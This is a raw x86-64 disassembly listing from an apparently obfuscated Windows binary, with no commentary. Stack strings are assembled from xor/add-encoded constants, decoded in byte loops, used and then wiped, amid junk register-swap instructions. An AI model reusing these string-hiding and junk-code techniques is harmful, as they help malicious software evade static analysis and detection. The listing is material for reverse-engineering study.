xchg rcx, rbx
mov rax, rcx
xchg rcx, rbx
nop
mov byte [rbp + rax + 0x11b], 0x3e
sub byte [rbp + rax + 0x11b], 0x3e
inc rax
cmp rax, 0x16
jb 0x14008d410
lea rcx, [rbp + 0xde0]
call fcn.14000f270
lea rdx, [rbp + 0xe80]
lea rcx, [rbp + 0xdc0]
call fcn.14002b490
mov rsi, rax
mov dword [rbp - 0x3c], 0x1cfffafc
xor dword [rbp - 0x3c], 0xa2414442
mov dword [rbp - 0x32], 0x2e5a7170
xor dword [rbp - 0x32], 0x9affdaff
mov dword [rbp - 0x38], 0x31bfc227
xor dword [rbp - 0x38], 0x8f017c99
mov dword [rbp - 0x2e], 0x58cc69bc
xor dword [rbp - 0x2e], 0xf07ddc0d
mov byte [rbp - 0x34], 0x7c
add byte [rbp - 0x34], 0x42
mov word [rbp - 0x2a], 0x7edd
sub word [rbp - 0x2a], 0x7e27
xchg rdx, r12
mov r12, rbx
xchg rdx, r12
nop dword [rax]
movzx ecx, byte [rbp + rdx - 0x3c]
movzx eax, byte [rbp + rdx - 0x32]
add al, cl
mov byte [rbp + rdx - 0x32], al
mov byte [rbp + rdx - 0x3c], 0x4c
sub byte [rbp + rdx - 0x3c], 0x4c
inc rdx
cmp rdx, 9
jb 0x14008d4a8
mov qword [rbp + 0x9f8], rbx
xchg r8, rbx
mov qword [rbp + 0xa08], r8
xchg rbx, r8
mov qword [rbp + 0xa10], 0x522d9aaf
sub qword [rbp + 0xa10], 0x522d9aa0
mov byte [rbp + 0x9f8], 0x23
sub byte [rbp + 0x9f8], 0x23
lea rax, [rbp - 0x32]
xchg r8, rdi
mov rdi, r8
xchg rdi, r8
inc r8
cmp byte [rax + r8], 0
jne 0x14008d514
lea rdx, [rbp - 0x32]
lea rcx, [rbp + 0x9f8]
call fcn.14001da60
nop
lea rdx, [rbp + 0x9f8]
xchg rbp, rcx
mov rbp, rsi
xchg rcx, rbp
call fcn.140033660
xchg rsi, rbx
mov rbx, rax
xchg rbx, rsi
mov dword [rsp + 0x5c], 0x163cb56e
add dword [rsp + 0x5c], 0xa8820950
mov dword [rsp + 0x64], 0x52fb5ae1
add dword [rsp + 0x64], 0x53b550b8
mov word [rsp + 0x60], 0x3a60
add word [rsp + 0x60], 0x845e
mov dword [rsp + 0x68], 0x72d0416d
xor dword [rsp + 0x68], 0x7265f8dc
mov byte [rsp + 0x62], 0x58
add byte [rsp + 0x62], 0x66
mov rdx, rbx
nop dword [rax]
movzx ecx, byte [rsp + rdx + 0x5c]
movzx eax, byte [rsp + rdx + 0x64]
add al, cl
mov byte [rsp + rdx + 0x64], al
mov byte [rsp + rdx + 0x5c], 0x7b
sub byte [rsp + rdx + 0x5c], 0x7b
inc rdx
cmp rdx, 7
jb 0x14008d5a3
mov qword [rbp + 0x9d8], rbx
mov qword [rbp + 0x9e8], rbx
mov qword [rbp + 0x9f0], 0x36008db
sub qword [rbp + 0x9f0], 0x36008cc
mov byte [rbp + 0x9d8], 0x34
xor byte [rbp + 0x9d8], 0x34
lea rax, [rsp + 0x64]
xchg r8, r10
mov r10, rdi
xchg r10, r8
inc r8
cmp byte [rax + r8], 0
jne 0x14008d60a
lea rdx, [rsp + 0x64]
lea rcx, [rbp + 0x9d8]
call fcn.14001da60
nop
lea rdx, [rbp + 0x9d8]
xchg rcx, r15
mov r15, rsi
xchg r15, rcx
call fcn.140033660
xchg rsi, r13
mov r13, rax
xchg rsi, r13
mov dword [rbp - 0x62], 0x2995753e
xor dword [rbp - 0x62], 0x972bcb80
mov dword [rbp - 0x59], 0x576a7081
add dword [rbp - 0x59], 0x2e3a3718
mov dword [rbp - 0x5e], 0x41540da5
add dword [rbp - 0x5e], 0x7d6ab119
mov dword [rbp - 0x55], 0x7a1733c
add dword [rbp - 0x55], 0xa0093267
xor eax, eax
mov byte [rbp - 0x51], al
mov rdx, rbx
nop dword [rax + rax]
movzx ecx, byte [rbp + rdx - 0x62]
movzx eax, byte [rbp + rdx - 0x59]
add al, cl
mov byte [rbp + rdx - 0x59], al
mov byte [rbp + rdx - 0x62], 0x5e
sub byte [rbp + rdx - 0x62], 0x5e
inc rdx
cmp rdx, 8
jb 0x14008d690
mov qword [rbp + 0x9b8], rbx
mov qword [rbp + 0x9c8], rbx
mov qword [rbp + 0x9d0], 0x901fb35
sub qword [rbp + 0x9d0], 0x901fb26
mov byte [rbp + 0x9b8], 0x55
sub byte [rbp + 0x9b8], 0x55
lea rax, [rbp - 0x59]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14008d6f0
lea rdx, [rbp - 0x59]
lea rcx, [rbp + 0x9b8]
call fcn.14001da60
nop
lea rdx, [rbp + 0x9b8]
xchg rcx, rbx
mov rbx, rsi
xchg rcx, rbx
call fcn.140033660
xchg rdx, r8
mov r8, rax
xchg r8, rdx
lea rcx, [rsp + 0x40]
call fcn.1400634f0
nop
xchg rdx, r9
mov r9, qword [rbp + 0x9d0]
xchg rdx, r9
cmp rdx, 0x10
jb 0x14008d7a1
inc rdx
xchg rcx, r14
mov r14, qword [rbp + 0x9b8]
xchg rcx, r14
xchg rsi, rax
mov rsi, rcx
xchg rsi, rax
cmp rdx, 0x1000
jb 0x14008d79c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
nop
add rax, 0xffffffffd4297350
sub rax, 0xffffffffd4297358
cmp rax, 0x1f
jbe 0x14008d79c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401102d0
xchg r15, rbx
mov qword [rbp + 0x9c8], r15
xchg rbx, r15
mov qword [rbp + 0x9d0], 0x4348ba14
sub qword [rbp + 0x9d0], 0x4348ba05
mov byte [rbp + 0x9b8], 0x49
xor byte [rbp + 0x9b8], 0x49
xchg r10, rbx
mov rax, r10
xchg rbx, r10
nop dword [rax]
mov byte [rbp + rax - 0x59], 0x16
xor byte [rbp + rax - 0x59], 0x16
inc rax
cmp rax, 8
jb 0x14008d7de
xchg rdx, rcx
mov rcx, qword [rbp + 0x9f0]
xchg rdx, rcx
cmp rdx, 0x10
jb 0x14008d85a
inc rdx
mov rcx, qword [rbp + 0x9d8]
xchg r11, rax
mov r11, rcx
xchg r11, rax
cmp rdx, 0x1000
jb 0x14008d855
nop
add rdx, 0x4375eead
sub rdx, 0x4375ee86
mov rcx, qword [rcx - 8]
sub rax, rcx
sub rax, 8
cmp rax, 0x1f
jbe 0x14008d855
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401102d0
xchg r9, rbx
mov qword [rbp + 0x9e8], r9
xchg rbx, r9
mov qword [rbp + 0x9f0], 0x6e70b494
xor qword [rbp + 0x9f0], 0x6e70b49b
mov byte [rbp + 0x9d8], 4
xor byte [rbp + 0x9d8], 4
xchg rbx, rax
mov rbx, rax
xchg rbx, rax
nop
mov byte [rsp + rax + 0x64], 0x27
sub byte [rsp + rax + 0x64], 0x27
inc rax
cmp rax, 7
jb 0x14008d894
mov rdx, qword [rbp + 0xa10]
cmp rdx, 0x10
jb 0x14008d910
inc rdx
xchg rcx, r10
mov r10, qword [rbp + 0x9f8]
xchg r10, rcx
xchg rcx, rax
mov rcx, rax
xchg rcx, rax
cmp rdx, 0x1000
jb 0x14008d90b
nop
add rdx, 0x4d27063f
sub rdx, 0x4d270618
mov rcx, qword [rcx - 8]
sub rax, rcx
sub rax, 8
cmp rax, 0x1f
jbe 0x14008d90b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401102d0
xchg rbx, rdi
mov qword [rbp + 0xa08], rdi
xchg rdi, rbx
mov qword [rbp + 0xa10], 0x5c608365
sub qword [rbp + 0xa10], 0x5c608356
mov byte [rbp + 0x9f8], 0x46
sub byte [rbp + 0x9f8], 0x46
xchg r8, rax
mov r8, rbx
xchg r8, rax
nop
mov byte [rbp + rax - 0x32], 0xd
sub byte [rbp + rax - 0x32], 0xd
inc rax
cmp rax, 9
jb 0x14008d94a
lea rcx, [rbp + 0xdc0]
call fcn.14000f270
lea rdx, [rbp + 0xe80]
lea rcx, [rbp + 0xda0]
call fcn.14002b490
xchg rsi, rdx
mov rdx, rax
xchg rsi, rdx
mov dword [rbp - 0x28], 0x5ca663c4
xor dword [rbp - 0x28], 0xe218dd7a
mov dword [rbp - 0x1e], 0x36752acf
xor dword [rbp - 0x1e], 0x82d08140
mov dword [rbp - 0x24], 0x4eb78c93
xor dword [rbp - 0x24], 0xf009322d
mov dword [rbp - 0x1a], 0xc24ddb5
add dword [rbp - 0x1a], 0x9c8cd7fc
mov byte [rbp - 0x20], 0x75
add byte [rbp - 0x20], 0x49
mov word [rbp - 0x16], 0x32cc
xor word [rbp - 0x16], 0x327a
mov rdx, rbx
nop dword [rax]
movzx eax, byte [rbp + rdx - 0x1e]
movzx ecx, byte [rbp + rdx - 0x28]
add cl, al
mov byte [rbp + rdx - 0x1e], cl
mov byte [rbp + rdx - 0x28], 0x43
xor byte [rbp + rdx - 0x28], 0x43
inc rdx
cmp rdx, 9
jb 0x14008d9df
mov qword [rbp + 0xa78], rbx
mov qword [rbp + 0xa88], rbx
mov qword [rbp + 0xa90], 0x57ba31e4
sub qword [rbp + 0xa90], 0x57ba31d5
mov byte [rbp + 0xa78], 6
xor byte [rbp + 0xa78], 6
lea rax, [rbp - 0x1e]
xchg rdi, r8
mov rdi, r8
xchg r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14008da45
lea rdx, [rbp - 0x1e]
lea rcx, [rbp + 0xa78]
call fcn.14001da60
nop
lea rdx, [rbp + 0xa78]
mov rcx, rsi
call fcn.140033660
xchg rsi, rax
mov rax, rsi
xchg rsi, rax
mov dword [rsp + 0x6c], 0x3890b785
xor dword [rsp + 0x6c], 0x862e093b
mov dword [rsp + 0x74], 0x11a29e33
xor dword [rsp + 0x74], 0xb71235aa
mov word [rsp + 0x70], 0x2e67
xor word [rsp + 0x70], 0x90d9
mov dword [rsp + 0x78], 0x6cc06853
xor dword [rsp + 0x78], 0x6c75d1e2
mov byte [rsp + 0x72], 0x5d
add byte [rsp + 0x72], 0x61
xchg r8, rdx
mov r8, rbx
xchg r8, rdx
nop dword [rax]
movzx eax, byte [rsp + rdx + 0x74]
movzx ecx, byte [rsp + rdx + 0x6c]
add cl, al
mov byte [rsp + rdx + 0x74], cl
mov byte [rsp + rdx + 0x6c], 0x16
sub byte [rsp + rdx + 0x6c], 0x16
inc rdx
cmp rdx, 7
jb 0x14008dad2
mov qword [rbp + 0xa58], rbx
mov qword [rbp + 0xa68], rbx
mov qword [rbp + 0xa70], 0x4ae575c0
sub qword [rbp + 0xa70], 0x4ae575b1
mov byte [rbp + 0xa58], 0x2b
sub byte [rbp + 0xa58], 0x2b
lea rax, [rsp + 0x74]
xchg rbx, rdi
mov r8, rbx
xchg rdi, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14008db39
lea rdx, [rsp + 0x74]
lea rcx, [rbp + 0xa58]
call fcn.14001da60
nop
lea rdx, [rbp + 0xa58]
xchg r12, rsi
mov rcx, r12
xchg rsi, r12
call fcn.140033660
xchg rsi, rax
mov rax, rsi
xchg rsi, rax
mov dword [rbp + 0x6c], 0x69a64a6a
add dword [rbp + 0x6c], 0x55187454
mov dword [rbp + 0x78], 0x15d7fc95
add dword [rbp + 0x78], 0xa0cf93f6
mov dword [rbp + 0x70], 0x374ab7b1
add dword [rbp + 0x70], 0x8774070d
mov dword [rbp + 0x7c], 0x7eb8e637
xor dword [rbp + 0x7c], 0xd30957b2
mov word [rbp + 0x74], 0x775d
xor word [rbp + 0x74], 0xc9e3
mov dword [rbp + 0x80], 0x420d6c37
sub dword [rbp + 0x80], 0x4157c48c
mov byte [rbp + 0x76], 0xe
add byte [rbp + 0x76], 0xb0
xchg r14, rbx
mov rdx, r14
xchg rbx, r14
nop word [rax + rax]
movzx ecx, byte [rbp + rdx + 0x6c]
movzx eax, byte [rbp + rdx + 0x78]
add al, cl
mov byte [rbp + rdx + 0x78], al
mov byte [rbp + rdx + 0x6c], reloc.SHLWAPI.dll_SHCreateMemStream
sub byte [rbp + rdx + 0x6c], 0xc
inc rdx
cmp rdx, 0xb
jb 0x14008dbe7
xchg r15, rbx
mov qword [rbp + 0xa18], r15
xchg rbx, r15
xchg rbx, rdi
mov qword [rbp + 0xa28], rdi
xchg rbx, rdi
mov qword [rbp + 0xa30], 0x16df5a23
xor qword [rbp + 0xa30], 0x16df5a2c
mov byte [rbp + 0xa18], 0x49
sub byte [rbp + 0xa18], 0x49
lea rax, [rbp + 0x78]
xchg r8, rdi
mov rdi, r8
xchg r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14008dc59
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0xa18]
call fcn.14001da60
nop
lea rdx, [rbp + 0xa18]
xchg rcx, rsi
mov rsi, rcx
xchg rsi, rcx
call fcn.140033660
xchg rcx, rdx
mov rcx, rax
xchg rcx, rdx
lea rcx, [rsp + 0x40]
call fcn.1400634f0
nop
xchg r11, rdx
mov r11, qword [rbp + 0xa30]
xchg r11, rdx
cmp rdx, 0x10
jb 0x14008dcfb
inc rdx
mov rcx, qword [rbp + 0xa18]
xchg rcx, rax
mov rcx, rax
xchg rcx, rax
cmp rdx, 0x1000
jb 0x14008dcf6
sub rdx, 0xffffffffffffffd9
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14008dcf6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401102d0
xchg rbx, r15
mov qword [rbp + 0xa28], r15
xchg r15, rbx
mov qword [rbp + 0xa30], 0x5608e92f
xor qword [rbp + 0xa30], 0x5608e920
mov byte [rbp + 0xa18], 0x25
sub byte [rbp + 0xa18], 0x25
xchg r11, rbx
mov rax, r11
xchg r11, rbx
nop dword [rax]
mov byte [rbp + rax + 0x78], 0x27
sub byte [rbp + rax + 0x78], 0x27
inc rax
cmp rax, 0xb
jb 0x14008dd38
xchg rdx, rbx
mov rbx, qword [rbp + 0xa70]
xchg rdx, rbx
cmp rdx, 0x10
jb 0x14008ddb2
inc rdx
mov rcx, qword [rbp + 0xa58]
xchg rcx, rax
mov rcx, rax
xchg rcx, rax
cmp rdx, 0x1000
jb 0x14008ddad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
nop
add rax, 0xffffffffbdeb9887
sub rax, 0xffffffffbdeb988f
cmp rax, 0x1f
jbe 0x14008ddad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401102d0
xchg rbx, r8
mov qword [rbp + 0xa68], r8
xchg r8, rbx
mov qword [rbp + 0xa70], 0xfbff1ec
sub qword [rbp + 0xa70], 0xfbff1dd
mov byte [rbp + 0xa58], 0x30
xor byte [rbp + 0xa58], 0x30
xchg r15, rax
mov r15, rbx
xchg r15, rax
nop
mov byte [rsp + rax + 0x74], 0x14
sub byte [rsp + rax + 0x74], 0x14
inc rax
cmp rax, 7
jb 0x14008ddec
xchg rdx, rsi
mov rsi, qword [rbp + 0xa90]
xchg rsi, rdx
cmp rdx, 0x10
jb 0x14008de68
inc rdx
mov rcx, qword [rbp + 0xa78]
xchg rcx, r8
mov rax, r8
xchg rcx, r8
cmp rdx, 0x1000
jb 0x14008de63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
nop
sub rax, 0xffffffff89825e05
add rax, 0xffffffff89825dfd
cmp rax, 0x1f
jbe 0x14008de63
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401102d0
mov qword [rbp + 0xa88], rbx
mov qword [rbp + 0xa90], 0x75dfd55c
sub qword [rbp + 0xa90], 0x75dfd54d
mov byte [rbp + 0xa78], 0x16
sub byte [rbp + 0xa78], 0x16
mov rax, rbx
nop
mov byte [rbp + rax - 0x1e], 0x45
sub byte [rbp + rax - 0x1e], 0x45
inc rax
cmp rax, 9
jb 0x14008de98
lea rcx, [rbp + 0xda0]
call fcn.14000f270
lea rdx, [rbp + 0xe80]
lea rcx, [rbp + 0xd80]
call fcn.14002b490
xchg r9, rax
mov rsi, r9
xchg r9, rax
mov dword [rbp], 0x21a1410a
add dword [rbp], 0x9d1d7db4
mov dword [rbp + 0xa], 0xebce120
add dword [rbp + 0xa], 0xa5e8ca6f
mov dword [rbp + 4], 0x4f7fc161
add dword [rbp + 4], 0x6f3efd5d
mov dword [rbp + 0xe], 0x73ec8031
xor dword [rbp + 0xe], 0xdb5d3580
mov byte [rbp + 8], 0x78
xor byte [rbp + 8], 0xc6
mov word [rbp + 0x12], 0x5d3a
xor word [rbp + 0x12], 0x5d8c
xchg rbp, rbx
mov rdx, rbp
xchg rbx, rbp
nop dword [rax]
movzx ecx, byte [rbp + rdx]
movzx eax, byte [rbp + rdx + 0xa]
add al, cl
mov byte [rbp + rdx + 0xa], al
mov byte [rbp + rdx], reloc.SHLWAPI.dll_SHCreateMemStream
sub byte [rbp + rdx], 0xc
inc rdx
cmp rdx, 9
jb 0x14008df31
mov qword [rbp + 0xad8], rbx
xchg rbx, r15
mov qword [rbp + 0xae8], r15
xchg rbx, r15
mov qword [rbp + 0xaf0], 0x3b6dfc86
xor qword [rbp + 0xaf0], 0x3b6dfc89
mov byte [rbp + 0xad8], 0x41
xor byte [rbp + 0xad8], 0x41
lea rax, [rbp + 0xa]
xchg rdi, r8
mov rdi, r8
xchg rdi, r8
inc r8
cmp byte [rax + r8], 0
jne 0x14008df9d
lea rdx, [rbp + 0xa]
lea rcx, [rbp + 0xad8]
call fcn.14001da60
nop
lea rdx, [rbp + 0xad8]
xchg rsi, rcx
mov rsi, rcx
xchg rcx, rsi
call fcn.140033660
xchg r8, rsi
mov r8, rax
xchg rsi, r8
mov dword [rsp + 0x7c], 0x16791dfb
add dword [rsp + 0x7c], 0xa845a0c3
mov dword [rbp - 0x7c], 0x1f4b95e
xor dword [rbp - 0x7c], 0xa74412c7
mov word [rbp - 0x80], 0x588f
xor word [rbp - 0x80], 0xe631
mov dword [rbp - 0x78], 0x6a1a7d62
sub dword [rbp - 0x78], 0x6964c3b1
mov byte [rbp - 0x7e], 0x18
xor byte [rbp - 0x7e], 0xa6
mov rdx, rbx
nop word [rax + rax]
movzx ecx, byte [rsp + rdx + 0x7c]
movzx eax, byte [rbp + rdx - 0x7c]
add al, cl
mov byte [rbp + rdx - 0x7c], al
mov byte [rsp + rdx + 0x7c], 1
sub byte [rsp + rdx + 0x7c], 1
inc rdx
cmp rdx, 7
jb 0x14008e028
xchg rdi, rbx
mov qword [rbp + 0xab8], rdi
xchg rdi, rbx
mov qword [rbp + 0xac8], rbx
mov qword [rbp + 0xad0], 0x85ef12a
xor qword [rbp + 0xad0], 0x85ef125
mov byte [rbp + 0xab8], 0x52
sub byte [rbp + 0xab8], 0x52
lea rax, [rbp - 0x7c]
xchg rdi, r8
mov rdi, r8
xchg rdi, r8
inc r8
cmp byte [rax + r8], 0
jne 0x14008e094
lea rdx, [rbp - 0x7c]
lea rcx, [rbp + 0xab8]
call fcn.14001da60
nop
lea rdx, [rbp + 0xab8]
xchg rdi, rsi
mov rcx, rdi
xchg rsi, rdi
call fcn.140033660
xchg r12, rsi
mov r12, rax
xchg rsi, r12
mov dword [rbp - 0x14], 0x7db2416a
xor dword [rbp - 0x14], 0xc30cffd4
mov dword [rbp - 0xa], 0x35d75ac1
xor dword [rbp - 0xa], 0x8370ca4a
mov dword [rbp - 0x10], 0x3203b87f
add dword [rbp - 0x10], 0x8cbb063f
mov dword [rbp - 6], 0x1c40308a
add dword [rbp - 6], 0x8e6572fb
mov byte [rbp - 0xc], 0x22
add byte [rbp - 0xc], 0x9c
mov word [rbp - 2], 0x5b72
xor word [rbp - 2], 0x5bd5
xchg rdx, rbx
mov rbx, rdx
xchg rdx, rbx
nop dword [rax + rax]
movzx eax, byte [rbp + rdx - 0xa]
movzx ecx, byte [rbp + rdx - 0x14]
add cl, al
mov byte [rbp + rdx - 0xa], cl
mov byte [rbp + rdx - 0x14], 0x66
sub byte [rbp + rdx - 0x14], 0x66
inc rdx
cmp rdx, 9
jb 0x14008e12b
xchg rbx, r14
mov qword [rbp + 0xa98], r14
xchg r14, rbx
mov qword [rbp + 0xaa8], rbx
mov qword [rbp + 0xab0], 0x5495be78
sub qword [rbp + 0xab0], 0x5495be69
mov byte [rbp + 0xa98], 0x2b
sub byte [rbp + 0xa98], 0x2b
lea rax, [rbp - 0xa]
xchg r13, rdi
mov r8, r13
xchg rdi, r13
inc r8
cmp byte [rax + r8], 0
jne 0x14008e197
lea rdx, [rbp - 0xa]
lea rcx, [rbp + 0xa98]
call fcn.14001da60
nop
lea rdx, [rbp + 0xa98]
xchg rcx, rbx
mov rbx, rsi
xchg rbx, rcx
call fcn.140033660
xchg rbp, rax
mov rdx, rbp
xchg rbp, rax
lea rcx, [rsp + 0x40]
call fcn.1400634f0
nop
xchg r10, rdx
mov r10, qword [rbp + 0xab0]
xchg rdx, r10
cmp rdx, 0x10
jb 0x14008e23d
inc rdx
xchg rcx, r15
mov r15, qword [rbp + 0xa98]
xchg r15, rcx
xchg rsi, rax
mov rsi, rcx
xchg rsi, rax
cmp rdx, 0x1000
jb 0x14008e238
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
sub rax, 8
cmp rax, 0x1f
jbe 0x14008e238
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401102d0
mov qword [rbp + 0xaa8], rbx
mov qword [rbp + 0xab0], 0x342ec276
xor qword [rbp + 0xab0], 0x342ec279
mov byte [rbp + 0xa98], 0x39
sub byte [rbp + 0xa98], 0x39
mov rax, rbx
nop dword [rax]
mov byte [rbp + rax - 0xa], 0x42
sub byte [rbp + rax - 0xa], 0x42
inc rax
cmp rax, 9
jb 0x14008e26e
mov rdx, qword [rbp + 0xad0]
cmp rdx, 0x10
jb 0x14008e2df
inc rdx
xchg rcx, r12
mov r12, qword [rbp + 0xab8]
xchg r12, rcx
xchg r14, rax
mov r14, rcx
xchg r14, rax
cmp rdx, 0x1000
jb 0x14008e2da
sub rdx, 0xffffffffffffffd9
mov rcx, qword [rcx - 8]
sub rax, rcx
sub rax, 8
cmp rax, 0x1f
jbe 0x14008e2da
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401102d0
xchg rbx, rdx
mov qword [rbp + 0xac8], rdx
xchg rdx, rbx
mov qword [rbp + 0xad0], 0x2ed168a6
sub qword [rbp + 0xad0], 0x2ed16897
mov byte [rbp + 0xab8], 0x55
sub byte [rbp + 0xab8], 0x55
xchg r10, rax
mov r10, rbx
xchg r10, rax
nop
mov byte [rbp + rax - 0x7c], 0x62
sub byte [rbp + rax - 0x7c], 0x62
inc rax
cmp rax, 7
jb 0x14008e319
xchg rdi, rdx
mov rdi, qword [rbp + 0xaf0]
xchg rdi, rdx
cmp rdx, 0x10
jb 0x14008e393
inc rdx
mov rcx, qword [rbp + 0xad8]
xchg rcx, rax
mov rcx, rax
xchg rcx, rax
cmp rdx, 0x1000
jb 0x14008e38e
sub rdx, 0xffffffffffffffd9
mov rcx, qword [rcx - 8]
sub rax, rcx
nop
sub rax, 0xffffffffc906aa69
add rax, 0xffffffffc906aa61
cmp rax, 0x1f
jbe 0x14008e38e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401102d0
mov qword [rbp + 0xae8], rbx
mov qword [rbp + 0xaf0], 0x1e0d476a
sub qword [rbp + 0xaf0], 0x1e0d475b
mov byte [rbp + 0xad8], 0x5f
xor byte [rbp + 0xad8], 0x5f
xchg rbx, rax
mov rbx, rax
xchg rbx, rax
nop
mov byte [rbp + rax + 0xa], 0xf
sub byte [rbp + rax + 0xa], 0xf
inc rax
cmp rax, 9
jb 0x14008e3c7
lea rcx, [rbp + 0xd80]
call fcn.14000f270
lea rdx, [rbp + 0xe80]
lea rcx, [rbp + 0xd60]
call fcn.14002b490
mov rsi, rax
mov dword [rbp - 0x50], 0x40dedbf9
xor dword [rbp - 0x50], 0xfe606547
mov dword [rbp - 0x46], 0x2ad8b292
add dword [rbp - 0x46], 0x89ccf8fd
mov dword [rbp - 0x4c], 0x4b71dc6d
xor dword [rbp - 0x4c], 0xf5cf62d3
mov dword [rbp - 0x42], 0x74e6a838
add dword [rbp - 0x42], 0x33cb0d79
mov byte [rbp - 0x48], 0x70
add byte [rbp - 0x48], 0x4e
mov word [rbp - 0x3e], 0x792d
sub word [rbp - 0x3e], 0x7877
xchg rbx, r9
mov rdx, r9
xchg r9, rbx
nop dword [rax]
movzx ecx, byte [rbp + rdx - 0x50]
movzx eax, byte [rbp + rdx - 0x46]
add al, cl
mov byte [rbp + rdx - 0x46], al
mov byte [rbp + rdx - 0x50], 0x64
sub byte [rbp + rdx - 0x50], 0x64
inc rdx
cmp rdx, 9
jb 0x14008e45c
xchg rdx, rbx
mov qword [rbp + 0xb38], rdx
xchg rdx, rbx
xchg r13, rbx
mov qword [rbp + 0xb48], r13
xchg r13, rbx
mov qword [rbp + 0xb50], 0x352e81fd
xor qword [rbp + 0xb50], 0x352e81f2
mov byte [rbp + 0xb38], 0x3b
sub byte [rbp + 0xb38], 0x3b
lea rax, [rbp - 0x46]
xchg r8, r11
mov r11, rdi
xchg r8, r11
inc r8
cmp byte [rax + r8], 0
jne 0x14008e4ce
lea rdx, [rbp - 0x46]
lea rcx, [rbp + 0xb38]
call fcn.14001da60
nop
lea rdx, [rbp + 0xb38]
xchg r13, rcx
mov r13, rsi
xchg r13, rcx
call fcn.140033660
xchg rsi, rdi
mov rdi, rax
xchg rdi, rsi
mov dword [rbp - 0x74], 0x5c5e196b
add dword [rbp - 0x74], 0x6260a553
mov dword [rbp - 0x6b], 0x520588dc
add dword [rbp - 0x6b], 0x68ac1bbe
mov dword [rbp - 0x70], 0x4b0116e7
add dword [rbp - 0x70], 0x73bda7d7
mov dword [rbp - 0x67], 0x57d32a9d
add dword [rbp - 0x67], 0x4fe580f1
xor eax, eax
mov byte [rbp - 0x63], al
xchg rdx, r9
mov r9, rbx
xchg r9, rdx
nop word [rax + rax]
movzx ecx, byte [rbp + rdx - 0x74]
movzx eax, byte [rbp + rdx - 0x6b]
add al, cl
mov byte [rbp + rdx - 0x6b], al
mov byte [rbp + rdx - 0x74], 0
xor byte [rbp + rdx - 0x74], 0
inc rdx
cmp rdx, 8
jb 0x14008e55b
mov qword [rbp + 0xaf8], rbx
mov qword [rbp + 0xb08], rbx
mov qword [rbp + 0xb10], 0x3263059b
xor qword [rbp + 0xb10], 0x32630594
mov byte [rbp + 0xaf8], 0x24
sub byte [rbp + 0xaf8], 0x24
lea rax, [rbp - 0x6b]
xchg r8, rdi
mov rdi, r8
xchg rdi, r8
inc r8
cmp byte [rax + r8], 0
jne 0x14008e5c1
lea rdx, [rbp - 0x6b]
lea rcx, [rbp + 0xaf8]
call fcn.14001da60
nop
lea rdx, [rbp + 0xaf8]
xchg r10, rsi
mov rcx, r10
xchg r10, rsi
call fcn.140033660
xchg r15, rax
mov rsi, r15
xchg r15, rax
mov dword [rbp + 0x84], 0x68978e5a
xor dword [rbp + 0x84], 0xd62930e4
mov dword [rbp + 0x97], 0x364dd8d8
add dword [rbp + 0x97], 0x7468deab
mov dword [rbp + 0x88], 0x7cf44de3
add dword [rbp + 0x88], 0x41ca70db
mov dword [rbp + 0x9b], 0x58e509fd
add dword [rbp + 0x9b], 0x5dbeac98
mov dword [rbp + 0x8c], 0xaf6c326
add dword [rbp + 0x8c], 0xb3c7fb98
mov dword [rbp + 0x9f], 0x74c99b40
xor dword [rbp + 0x9f], 0xd16a1ee7
mov dword [rbp + 0x90], 0xe06c646
add dword [rbp + 0x90], 0xb0b7f878
mov dword [rbp + 0xa3], 0x774849cc
add dword [rbp + 0xa3], 0x2f285dde
mov word [rbp + 0x94], 0x791d
add word [rbp + 0x94], 0x45a1
mov word [rbp + 0xa7], 0x5df
add word [rbp + 0xa7], 0xb0c4
xor eax, eax
mov byte [rbp + 0xa9], al
xchg rdx, r15
mov r15, rbx
xchg rdx, r15
nop
movzx ecx, byte [rbp + rdx + 0x84]
movzx eax, byte [rbp + rdx + 0x97]
add al, cl
mov byte [rbp + rdx + 0x97], al
mov byte [rbp + rdx + 0x84], 0x30
sub byte [rbp + rdx + 0x84], 0x30
inc rdx
cmp rdx, 0x12
jb 0x14008e6d2
xchg r12, rbx
mov qword [rbp + 0x958], r12
xchg r12, rbx
xchg r11, rbx
mov qword [rbp + 0x968], r11
xchg r11, rbx
mov qword [rbp + 0x970], 0x1f62b93b
xor qword [rbp + 0x970], 0x1f62b934
mov byte [rbp + 0x958], 0x49
xor byte [rbp + 0x958], 0x49
lea rax, [rbp + 0x97]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14008e750
lea rdx, [rbp + 0x97]
lea rcx, [rbp + 0x958]
call fcn.14001da60
nop
lea rdx, [rbp + 0x958]
xchg r12, rsi
mov rcx, r12
xchg rsi, r12
call fcn.140033660
xchg rdx, rax
mov rax, rdx
xchg rdx, rax
lea rcx, [rbp + 0x2738]
call fcn.1400447b0
nop
mov rdx, qword [rbp + 0x970]
cmp rdx, 0x10
jb 0x14008e7ef
inc rdx
mov rcx, qword [rbp + 0x958]
xchg r9, rax
mov r9, rcx
xchg r9, rax
